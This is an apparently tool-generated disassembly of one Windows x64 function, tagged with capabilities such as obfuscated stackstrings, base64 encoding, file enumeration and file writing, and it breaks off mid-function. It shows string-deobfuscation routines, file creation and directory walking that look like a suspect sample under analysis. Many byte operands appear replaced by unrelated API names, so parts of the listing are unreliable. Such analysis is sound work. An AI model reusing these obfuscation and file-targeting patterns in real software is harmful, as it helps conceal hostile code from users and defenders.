Function at 0x14001aa60
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Enumerate files on windows
Parse pe header
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xc78
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xbe0], xmm6
mov qword [rbp + 0xbd8], 0xfffffffffffffffe
mov dword [rbp + 0x54c], edx
mov qword [rbp + 0x308], rcx
mov qword [rbp + 0x310], 0
lea rbx, [rbp + 0x310]
mov qword [rbp + 0x318], rbx
mov ecx, gethostbyname
call fcn.140031dec
mov rsi, rax
mov qword [rax], 0
movaps xmm0, xmmword [section..rdata]
movups xmmword [rax + 0x10], xmm0
mov word [rax], 0
mov r9, qword [rbp + 0x308]
cmp rax, r9
je 0x14001ab2b
mov rdi, qword [r9 + 0x10]
cmp qword [r9 + 0x18], 8
jb 0x14001aaf8
mov rax, qword [rbp + 0x308]
mov r9, qword [rax]
cmp rdi, 7
jbe 0x14001ab12
mov rcx, rsi
mov rdx, rdi
call fcn.1400015c0
mov rbx, qword [rbp + 0x318]
jmp 0x14001ab2b
mov qword [rsi + 0x10], rdi
lea r8, [rdi + rdi]
mov rcx, rsi
mov rdx, r9
call fcn.140033760
mov word [rsi + rdi*2], 0
mov rax, rsi
add rax, 0x20
mov qword [rsi + 0x20], 0
mov qword [rsi + 0x28], rbx
mov qword [rbx], rsi
mov qword [rbp + 0x318], rax
mov rcx, qword [rbp + 0x310]
test rcx, rcx
je 0x140023095
xorps xmm6, xmm6
jmp 0x14001ab75
call fcn.140031e30
mov rcx, qword [rbp + 0x310]
test rcx, rcx
je 0x140023095
mov qword [rbp + 0x550], 0
lea rax, [rbp + 0x560]
movups xmmword [rax], xmm6
cmp qword [rcx + 0x18], 8
mov rsi, rcx
jb 0x14001ab97
mov rsi, qword [rcx]
mov qword [rbp + 0x2f0], rcx
mov rbx, qword [rcx + 0x10]
cmp rbx, 7
ja 0x14001abc0
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x550], xmm0
mov edi, 7
jmp 0x14001ac43
mov rdi, rbx
or rdi, 7
movabs rax, 0x7ffffffffffffffe
cmp rdi, rax
cmovb rax, rdi
lea rcx, [rax + rax]
cmp rax, 0x7ff
jb 0x14001ac20
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x14002312b
add rcx, 0x29
call fcn.140031dec
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001ac29
add rcx, 2
call fcn.140031dec
mov qword [rbp + 0x550], rax
lea r8, [rbx + rbx]
add r8, 2
mov rcx, rax
mov rdx, rsi
call fcn.140033760
mov qword [rbp + 0x560], rbx
mov qword [rbp + 0x568], rdi
lea rax, [rbp + 0x330]
movups xmmword [rax], xmm6
lea r14, [rbp + 0x550]
cmp rdi, 7
je 0x14001ac6f
mov r14, qword [rbp + 0x550]
cmp rbx, 8
jae 0x14001af50
movups xmm0, xmmword [r14]
movaps xmmword [rbp + 0x320], xmm0
mov qword [rbp + 0x330], rbx
mov qword [rbp + 0x338], 7
lea rdi, [rbp + 0x320]
cmp word [rdi + rbx*2 - 2], 0x5c
jne 0x14001aff0
mov byte [rbp + 0xb88], 0
mov byte [rbp + 0xb89], WSACleanup
mov byte [rbp + 0xb8a], 0x2b
mov byte [rbp + 0xb8b], 0x2b
mov byte [rbp + 0xb8c], 0x2b
mov al, byte [rbp + 0xb88]
test al, 1
jne 0x14001ae86
mov al, byte [rbp + 0xb89]
movzx eax, al
mov ecx, eax
shl ecx, 5
sub ecx, eax
mov eax, ecx
add eax, 0xfffffacb
cwde
imul eax, eax, 0xffff8103
shr eax, 0x10
add eax, ecx
add eax, 0xfffffacb
movzx eax, ax
mov edx, eax
shr edx, 0xf
shr eax, 6
add eax, edx
mov edx, eax
shl edx, 7
sub eax, edx
add eax, ecx
add eax, 0xfffffacb
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xb89], al
mov al, byte [rbp + 0xb8a]
movzx eax, al
mov ecx, eax
shl ecx, 5
sub ecx, eax
mov eax, ecx
add eax, 0xfffffacb
cwde
imul eax, eax, 0xffff8103
shr eax, 0x10
add eax, ecx
add eax, 0xfffffacb
movzx eax, ax
mov edx, eax
shr edx, 0xf
shr eax, 6
add eax, edx
mov edx, eax
shl edx, 7
sub eax, edx
add eax, ecx
add eax, 0xfffffacb
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xb8a], al
mov al, byte [rbp + 0xb8b]
movzx eax, al
mov ecx, eax
shl ecx, 5
sub ecx, eax
mov eax, ecx
add eax, 0xfffffacb
cwde
imul eax, eax, 0xffff8103
shr eax, 0x10
add eax, ecx
add eax, 0xfffffacb
movzx eax, ax
mov edx, eax
shr edx, 0xf
shr eax, 6
add eax, edx
mov edx, eax
shl edx, 7
sub eax, edx
add eax, ecx
add eax, 0xfffffacb
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xb8b], al
mov al, byte [rbp + 0xb8c]
movzx eax, al
mov ecx, eax
shl ecx, 5
sub ecx, eax
mov eax, ecx
add eax, 0xfffffacb
cwde
imul eax, eax, 0xffff8103
shr eax, 0x10
add eax, ecx
add eax, 0xfffffacb
movzx eax, ax
mov edx, eax
shr edx, 0xf
shr eax, 6
add eax, edx
mov edx, eax
shl edx, 7
sub eax, edx
add eax, ecx
add eax, 0xfffffacb
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xb8c], al
mov r13, qword [rbp + 0x330]
lea rcx, [rbp + 0xb89]
call fcn.140036e08
mov rdi, rax
movabs rax, 0x7ffffffffffffffe
sub rax, r13
cmp rax, rdi
jb 0x14002310d
mov r14, qword [rbp + 0x320]
mov r15, qword [rbp + 0x338]
mov qword [rbp + 0x2d0], 0
lea r12, [rdi + r13]
mov esi, 7
lea rbx, [rbp + 0x2d0]
cmp r12, 8
jb 0x14001b388
mov rsi, r12
or rsi, 7
movabs rax, 0x7ffffffffffffffe
cmp rsi, rax
ja 0x14002311c
cmp rsi, 0xb
mov eax, 0xa
cmovb rsi, rax
lea rcx, [rsi + rsi]
cmp rsi, 0x7ff
jb 0x14001b375
movabs rax, 0x7fffffffffffffec
cmp rsi, rax
jae 0x14002311c
add rcx, 0x29
call fcn.140031dec
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001b381
mov rsi, rbx
or rsi, 7
movabs rax, 0x7ffffffffffffffe
cmp rsi, rax
cmovb rax, rsi
lea rcx, [rax + rax]
cmp rax, 0x7ff
jb 0x14001afb0
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140023130
add rcx, 0x29
call fcn.140031dec
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14001afbc
add rcx, 2
call fcn.140031dec
mov rdi, rax
mov qword [rbp + 0x320], rdi
lea r8, [rbx + rbx]
add r8, 2
mov rcx, rdi
mov rdx, r14
call fcn.140033760
mov qword [rbp + 0x330], rbx
mov qword [rbp + 0x338], rsi
cmp word [rdi + rbx*2 - 2], 0x5c
je 0x14001aca9
mov byte [rbp + 0x340], 0
mov byte [rbp + 0x341], 0x59
mov byte [rbp + 0x342], 0x18
mov byte [rbp + 0x343], 0x49
mov byte [rbp + 0x344], 0x18
mov byte [rbp + 0x345], 0x18
mov byte [rbp + 0x346], 0x18
mov al, byte [rbp + 0x340]
test al, 1
jne 0x14001b2b1
mov al, byte [rbp + 0x341]
movzx eax, al
lea ecx, [rax + rax*8]
lea edx, [rax + rcx*2]
lea eax, [rax + rcx*2]
add eax, 0xfffffe38
cwde
imul eax, eax, 0xffff8103
shr eax, 0x10
add eax, edx
add eax, 0xfffffe38
movzx eax, ax
mov ecx, eax
shr ecx, 0xf
shr eax, 6
add eax, ecx
mov ecx, eax
shl ecx, 7
sub eax, ecx
add eax, edx
add eax, 0xfffffe38
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0x341], al
mov al, byte [rbp + 0x342]
movzx eax, al
lea ecx, [rax + rax*8]
lea edx, [rax + rcx*2]
lea eax, [rax + rcx*2]
add eax, 0xfffffe38
cwde
imul eax, eax, 0xffff8103
shr eax, 0x10
add eax, edx
add eax, 0xfffffe38
movzx eax, ax
mov ecx, eax
shr ecx, 0xf
shr eax, 6
add eax, ecx
mov ecx, eax
shl ecx, 7
sub eax, ecx
add eax, edx
add eax, 0xfffffe38
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0x342], al
mov al, byte [rbp + 0x343]
movzx eax, al
lea ecx, [rax + rax*8]
lea edx, [rax + rcx*2]
lea eax, [rax + rcx*2]
add eax, 0xfffffe38
cwde
imul eax, eax, 0xffff8103
shr eax, 0x10
add eax, edx
add eax, 0xfffffe38
movzx eax, ax
mov ecx, eax
shr ecx, 0xf
shr eax, 6
add eax, ecx
mov ecx, eax
shl ecx, 7
sub eax, ecx
add eax, edx
add eax, 0xfffffe38
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0x343], al
mov al, byte [rbp + 0x344]
movzx eax, al
lea ecx, [rax + rax*8]
lea edx, [rax + rcx*2]
lea eax, [rax + rcx*2]
add eax, 0xfffffe38
cwde
imul eax, eax, 0xffff8103
shr eax, 0x10
add eax, edx
add eax, 0xfffffe38
movzx eax, ax
mov ecx, eax
shr ecx, 0xf
shr eax, 6
add eax, ecx
mov ecx, eax
shl ecx, 7
sub eax, ecx
add eax, edx
add eax, 0xfffffe38
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0x344], al
mov al, byte [rbp + 0x345]
movzx eax, al
lea ecx, [rax + rax*8]
lea edx, [rax + rcx*2]
lea eax, [rax + rcx*2]
add eax, 0xfffffe38
cwde
imul eax, eax, 0xffff8103
shr eax, 0x10
add eax, edx
add eax, 0xfffffe38
movzx eax, ax
mov ecx, eax
shr ecx, 0xf
shr eax, 6
add eax, ecx
mov ecx, eax
shl ecx, 7
sub eax, ecx
add eax, edx
add eax, 0xfffffe38
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0x345], al
mov al, byte [rbp + 0x346]
movzx eax, al
lea ecx, [rax + rax*8]
lea edx, [rax + rcx*2]
lea eax, [rax + rcx*2]
add eax, 0xfffffe38
cwde
imul eax, eax, 0xffff8103
shr eax, 0x10
add eax, edx
add eax, 0xfffffe38
movzx eax, ax
mov ecx, eax
shr ecx, 0xf
shr eax, 6
add eax, ecx
mov ecx, eax
shl ecx, 7
sub eax, ecx
add eax, edx
add eax, 0xfffffe38
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0x346], al
mov r12, qword [rbp + 0x330]
lea rcx, [rbp + 0x341]
call fcn.140036e08
mov rdi, rax
movabs rax, 0x7ffffffffffffffe
sub rax, r12
cmp rax, rdi
jb 0x140023112
mov r14, qword [rbp + 0x320]
mov r15, qword [rbp + 0x338]
mov qword [rbp + 0x2d0], 0
lea r13, [rdi + r12]
mov esi, 7
lea rbx, [rbp + 0x2d0]
cmp r13, 8
jb 0x14001b3e2
mov rsi, r13
or rsi, 7
movabs rax, 0x7ffffffffffffffe
cmp rsi, rax
ja 0x140023117
cmp rsi, 0xb
mov eax, 0xa
cmovb rsi, rax
lea rcx, [rsi + rsi]
cmp rsi, 0x7ff
jb 0x14001b3cf
movabs rax, 0x7fffffffffffffec
cmp rsi, rax
jae 0x140023117
add rcx, 0x29
call fcn.140031dec
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001b3db
add rcx, 2
call fcn.140031dec
mov rbx, rax
mov qword [rbp + 0x2d0], rbx
cmp r15, 8
lea rdx, [rbp + 0x320]
cmovae rdx, r14
mov qword [rbp + 0x2e0], r12
mov qword [rbp + 0x2e8], rsi
mov r8, r13
add r8, r13
mov rcx, rbx
call fcn.140033760
lea rcx, [rbx + r13*2]
add rdi, rdi
lea rdx, [rbp + 0xb89]
mov r8, rdi
call fcn.140033760
lea rax, [rbx + r12*2]
jmp 0x14001b425
add rcx, 2
call fcn.140031dec
mov rbx, rax
mov qword [rbp + 0x2d0], rbx
cmp r15, 8
lea rdx, [rbp + 0x320]
cmovae rdx, r14
mov qword [rbp + 0x2e0], r13
mov qword [rbp + 0x2e8], rsi
lea r8, [r12 + r12]
mov rcx, rbx
call fcn.140033760
lea rcx, [rbx + r12*2]
add rdi, rdi
lea rdx, [rbp + 0x341]
mov r8, rdi
call fcn.140033760
lea rax, [rbx + r13*2]
mov word [rax], 0
cmp r15, 8
lea r12, [rbp + 0x341]
lea r13, [rbp + 0xb89]
jb 0x14001b479
lea rdx, [r15 + r15]
add rdx, 2
cmp rdx, 0x1000
jb 0x14001b471
mov rax, qword [r14 - 8]
add r14, 0xfffffffffffffff8
sub r14, rax
cmp r14, 0x20
jae 0x140023108
add r15, r15
add r15, 0x29
mov rdx, r15
mov r14, rax
mov rcx, r14
call fcn.140031e30
movaps xmm0, xmmword [section..rdata]
movaps xmmword [rbp + 0x330], xmm0
mov word [rbp + 0x320], 0
mov rdi, qword [rbp + 0x560]
cmp qword [rbp + 0x568], 8
lea rsi, [rbp + 0x550]
jb 0x14001b4af
mov rsi, qword [rbp + 0x550]
cmp rdi, 7
ja 0x14001b4d0
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x2b0], xmm0
mov ebx, 7
jmp 0x14001b553
mov rbx, rdi
or rbx, 7
movabs rax, 0x7ffffffffffffffe
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rax + rax]
cmp rax, 0x7ff
jb 0x14001b530
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140023121
add rcx, 0x29
call fcn.140031dec
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001b539
add rcx, 2
call fcn.140031dec
mov qword [rbp + 0x2b0], rax
lea r8, [rdi + rdi]
add r8, 2
mov rcx, rax
mov rdx, rsi
call fcn.140033760
mov qword [rbp + 0x2c0], rdi
mov qword [rbp + 0x2c8], rbx
mov byte [rbp + 0x340], 0
mov byte [rbp + 0x341], 0xd
mov byte [rbp + 0x342], setsockopt
mov byte [rbp + 0x343], 0x56
mov byte [rbp + 0x344], setsockopt
mov byte [rbp + 0x345], WSACleanup
mov byte [rbp + 0x346], setsockopt
mov byte [rbp + 0x347], 0
mov byte [rbp + 0x348], setsockopt
mov byte [rbp + 0x349], gethostname
mov byte [rbp + 0x34a], setsockopt
mov byte [rbp + 0x34b], 0x56
mov byte [rbp + 0x34c], setsockopt
mov byte [rbp + 0x34d], 0
mov byte [rbp + 0x34e], setsockopt
mov byte [rbp + 0x34f], gethostbyname
mov byte [rbp + 0x350], setsockopt
mov byte [rbp + 0x351], gethostbyname
mov byte [rbp + 0x352], setsockopt
mov byte [rbp + 0x353], 0x64
mov byte [rbp + 0x354], setsockopt
mov byte [rbp + 0x355], 0x28
mov byte [rbp + 0x356], setsockopt
mov byte [rbp + 0x357], 0x56
mov byte [rbp + 0x358], setsockopt
mov byte [rbp + 0x359], 0x21
mov byte [rbp + 0x35a], setsockopt
mov byte [rbp + 0x35b], gethostbyname
mov byte [rbp + 0x35c], setsockopt
mov byte [rbp + 0x35d], 0
mov byte [rbp + 0x35e], setsockopt
mov byte [rbp + 0x35f], 9
mov byte [rbp + 0x360], setsockopt
mov byte [rbp + 0x361], 0x56
mov byte [rbp + 0x362], setsockopt
mov byte [rbp + 0x363], WSAGetLastError
mov byte [rbp + 0x364], setsockopt
mov byte [rbp + 0x365], 0x21
mov byte [rbp + 0x366], setsockopt
mov byte [rbp + 0x367], 0
mov byte [rbp + 0x368], setsockopt
mov byte [rbp + 0x369], 6
mov byte [rbp + 0x36a], setsockopt
mov byte [rbp + 0x36b], 0x41
mov byte [rbp + 0x36c], setsockopt
mov byte [rbp + 0x36d], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x36e], setsockopt
mov byte [rbp + 0x36f], gethostbyname
mov byte [rbp + 0x370], setsockopt
mov byte [rbp + 0x371], 0x64
mov byte [rbp + 0x372], setsockopt
mov byte [rbp + 0x373], gethostbyname
mov byte [rbp + 0x374], setsockopt
mov byte [rbp + 0x375], 0x28
mov byte [rbp + 0x376], setsockopt
mov byte [rbp + 0x377], gethostname
mov byte [rbp + 0x378], setsockopt
mov byte [rbp + 0x379], 0x28
mov byte [rbp + 0x37a], setsockopt
mov byte [rbp + 0x37b], setsockopt
mov byte [rbp + 0x37c], setsockopt
mov al, byte [rbp + 0x340]
test al, 1
jne 0x14001b796
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x341]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*8]
mov edx, 0x21c
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x21c
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x341], cl
add rax, 1
cmp rax, 0x3c
jne 0x14001b720
mov qword [rbp + 0xb88], 0
movaps xmm0, xmmword [section..rdata]
movups xmmword [rbp + 0xb98], xmm0
mov word [rbp + 0xb88], 0
mov rcx, r12
call fcn.140036e08
mov rsi, rax
cmp rax, 7
jbe 0x14001b7e0
lea rcx, [rbp + 0xb88]
mov rdx, rsi
mov r9, r12
call fcn.1400015c0
jmp 0x14001b806
mov qword [rbp + 0xb98], rsi
mov r8, rsi
add r8, rsi
lea rcx, [rbp + 0xb88]
mov rdx, r12
call fcn.140033760
mov word [rbp + rsi*2 + 0xb88], 0
mov r14, qword [rbp + 0x2b0]
mov rsi, qword [rbp + 0x2c0]
mov r15, qword [rbp + 0x2c8]
cmp r15, 8
lea rdi, [rbp + 0x2b0]
cmovae rdi, r14
cmp rsi, 7
ja 0x14001b850
movups xmm0, xmmword [rdi]
movaps xmmword [rbp + 0x930], xmm0
mov ebx, 7
jmp 0x14001b8d3
mov rbx, rsi
or rbx, 7
movabs rax, 0x7ffffffffffffffe
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rax + rax]
cmp rax, 0x7ff
jb 0x14001b8b0
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140023126
add rcx, 0x29
call fcn.140031dec
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001b8b9
add rcx, 2
call fcn.140031dec
mov qword [rbp + 0x930], rax
lea r8, [rsi + rsi]
add r8, 2
mov rcx, rax
mov rdx, rdi
call fcn.140033760
mov qword [rbp + 0x940], rsi
mov qword [rbp + 0x948], rbx
lea rcx, [rbp + 0x340]
lea rdx, [rbp + 0x930]
lea r8, [rbp + 0xb88]
call fcn.140023830
cmp qword [rbp + 0x358], 8
lea rcx, [rbp + 0x340]
jb 0x14001b913
mov rcx, qword [rbp + 0x340]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14001b97e
mov rdi, rax
call fcn.140009690
mov rbx, rax
mov rcx, rax
call fcn.140036d40
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rbx
mov r8d, eax
lea r9, [rbp + 0x9f8]
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rax, qword [rbp + 0x358]
cmp rax, 8
jb 0x14001b9ca
mov rcx, qword [rbp + 0x340]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x14001b9c5
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x140023108
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.140031e30
cmp r15, 8
jb 0x14001ba0b
lea rdx, [r15 + r15]
add rdx, 2
cmp rdx, 0x1000
jb 0x14001ba03
mov rax, qword [r14 - 8]
add r14, 0xfffffffffffffff8
sub r14, rax
cmp r14, 0x20
jae 0x140023108
add r15, r15
add r15, 0x29
mov rdx, r15
mov r14, rax
mov rcx, r14
call fcn.140031e30
movaps xmm0, xmmword [section..rdata]
movaps xmmword [rbp + 0x2c0], xmm0
mov word [rbp + 0x2b0], 0
cmp qword [rbp + 0x2e8], 8
lea rcx, [rbp + 0x2d0]
jb 0x14001ba3a
mov rcx, qword [rbp + 0x2d0]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
lea r15, [rbp - 0x14]
jne 0x14001bea5
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp qword [rbp + 0x568], 8
lea rdx, [rbp + 0x550]
jb 0x14001ba73
mov rdx, qword [rbp + 0x550]
mov byte [rbp + 0x340], 0
mov byte [rbp + 0x341], 0x1c
mov byte [rbp + 0x342], 0x42
mov byte [rbp + 0x343], 9
mov byte [rbp + 0x344], 0x42
mov byte [rbp + 0x345], 0x61
mov byte [rbp + 0x346], 0x42
mov byte [rbp + 0x347], gethostbyname
mov byte [rbp + 0x348], 0x42
mov byte [rbp + 0x349], 0x1c
mov byte [rbp + 0x34a], 0x42
mov byte [rbp + 0x34b], 9
mov byte [rbp + 0x34c], 0x42
mov byte [rbp + 0x34d], setsockopt
mov byte [rbp + 0x34e], 0x42
mov byte [rbp + 0x34f], 0x3a
mov byte [rbp + 0x350], 0x42
mov byte [rbp + 0x351], 0x65
mov byte [rbp + 0x352], 0x42
mov byte [rbp + 0x353], 0x1c
mov byte [rbp + 0x354], 0x42
mov byte [rbp + 0x355], 9
mov byte [rbp + 0x356], 0x42
mov byte [rbp + 0x357], inet_ntoa
mov byte [rbp + 0x358], 0x42
mov byte [rbp + 0x359], 0x5b
mov byte [rbp + 0x35a], 0x42
mov byte [rbp + 0x35b], 0x2d
mov byte [rbp + 0x35c], 0x42
mov byte [rbp + 0x35d], 7
mov byte [rbp + 0x35e], 0x42
mov byte [rbp + 0x35f], gethostbyname
mov byte [rbp + 0x360], 0x42
mov byte [rbp + 0x361], 9
mov byte [rbp + 0x362], 0x42
mov byte [rbp + 0x363], inet_ntoa
mov byte [rbp + 0x364], 0x42
mov byte [rbp + 0x365], 0x3a
mov byte [rbp + 0x366], 0x42
mov byte [rbp + 0x367], 0x2d
mov byte [rbp + 0x368], 0x42
mov byte [rbp + 0x369], 9
mov byte [rbp + 0x36a], 0x42
mov byte [rbp + 0x36b], 0x61
mov byte [rbp + 0x36c], 0x42
mov byte [rbp + 0x36d], 0x2d
mov byte [rbp + 0x36e], 0x42
mov byte [rbp + 0x36f], gethostbyname
mov byte [rbp + 0x370], 0x42
mov byte [rbp + 0x371], 9
mov byte [rbp + 0x372], 0x42
mov byte [rbp + 0x373], setsockopt
mov byte [rbp + 0x374], 0x42
mov byte [rbp + 0x375], 0x5b
mov byte [rbp + 0x376], 0x42
mov byte [rbp + 0x377], 5
mov byte [rbp + 0x378], 0x42
mov byte [rbp + 0x379], 0x65
mov byte [rbp + 0x37a], 0x42
mov byte [rbp + 0x37b], 0xd
mov byte [rbp + 0x37c], 0x42
mov byte [rbp + 0x37d], setsockopt
mov byte [rbp + 0x37e], 0x42
mov byte [rbp + 0x37f], 0x3e
mov byte [rbp + 0x380], 0x42
mov byte [rbp + 0x381], 0x2d
mov byte [rbp + 0x382], 0x42
mov byte [rbp + 0x383], 6
mov byte [rbp + 0x384], 0x42
mov byte [rbp + 0x385], 0x3a
mov byte [rbp + 0x386], 0x42
mov byte [rbp + 0x387], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x388], 0x42
mov byte [rbp + 0x389], 0x2d
mov byte [rbp + 0x38a], 0x42
mov byte [rbp + 0x38b], 0x47
mov byte [rbp + 0x38c], 0x42
mov byte [rbp + 0x38d], 0x5b
mov byte [rbp + 0x38e], 0x42
mov byte [rbp + 0x38f], 0x65
mov byte [rbp + 0x390], 0x42
mov byte [rbp + 0x391], 0x20
mov byte [rbp + 0x392], 0x42
mov byte [rbp + 0x393], gethostbyname
mov byte [rbp + 0x394], 0x42
mov byte [rbp + 0x395], 0x3a
mov byte [rbp + 0x396], 0x42
mov byte [rbp + 0x397], 0x65
mov byte [rbp + 0x398], 0x42
mov byte [rbp + 0x399], WSACleanup
mov byte [rbp + 0x39a], 0x42
mov byte [rbp + 0x39b], setsockopt
mov byte [rbp + 0x39c], 0x42
mov byte [rbp + 0x39d], setsockopt
mov byte [rbp + 0x39e], 0x42
mov byte [rbp + 0x39f], 0xd
mov byte [rbp + 0x3a0], 0x42
mov byte [rbp + 0x3a1], setsockopt
mov byte [rbp + 0x3a2], 0x42
mov byte [rbp + 0x3a3], 0x2d
mov byte [rbp + 0x3a4], 0x42
mov byte [rbp + 0x3a5], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x3a6], 0x42
mov byte [rbp + 0x3a7], 0x2d
mov byte [rbp + 0x3a8], 0x42
mov byte [rbp + 0x3a9], 6
mov byte [rbp + 0x3aa], 0x42
mov byte [rbp + 0x3ab], inet_ntoa
mov byte [rbp + 0x3ac], 0x42
mov byte [rbp + 0x3ad], shutdown
mov byte [rbp + 0x3ae], 0x42
mov byte [rbp + 0x3af], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x3b0], 0x42
mov byte [rbp + 0x3b1], 0x42
mov byte [rbp + 0x3b2], 0x42
mov cl, byte [rbp + 0x340]
test cl, 1
jne 0x14001be2e
xor r8d, r8d
nop word [rax + rax]
movzx ebx, byte [rbp + r8 + 0x341]
movzx ebx, bl
imul ebx, ebx, 0xffffffc2
mov edi, ebx
add edi, 0xffc
movsx edi, di
imul edi, edi, 0xffff8103
shr edi, 0x10
add edi, ebx
add edi, 0xffc
movzx edi, di
mov esi, edi
shr esi, 0xf
shr edi, 6
add edi, esi
mov esi, edi
shl esi, 7
sub edi, esi
add ebx, edi
add ebx, 0xffc
add bl, 0x7f
movzx ebx, bl
lea edi, [rbx + rbx*2]
shr edi, 8
mov ecx, ebx
sub cl, dil
shr cl, 1
add cl, dil
shr cl, 6
movzx edi, cl
mov ecx, edi
shl ecx, 7
sub ecx, edi
sub bl, cl
mov byte [rbp + r8 + 0x341], bl
add r8, 1
cmp r8, 0x72
jne 0x14001bdb0
lea rcx, [rbp + 0x341]
mov r8d, eax
call fcn.14000eec0
mov rcx, qword [rbp + 0x2f0]
mov rdx, qword [rcx + 0x20]
mov rax, qword [rcx + 0x28]
test rdx, rdx
je 0x140022f98
mov qword [rdx + 0x28], rax
mov rdx, qword [rcx + 0x20]
mov rax, qword [rcx + 0x28]
jmp 0x140022fa1
lea rax, [rbp + 0x9f9]
mov qword [rbp + 0x4a0], rax
mov rdx, qword [rbp + 0x340]
mov rcx, r15
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
test rax, rax
je 0x140022a3f
nop dword [rax]
mov rcx, r14
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
je 0x140022f00
mov byte [rbp + 0xb88], 0
mov byte [rbp + 0xb89], 0x24
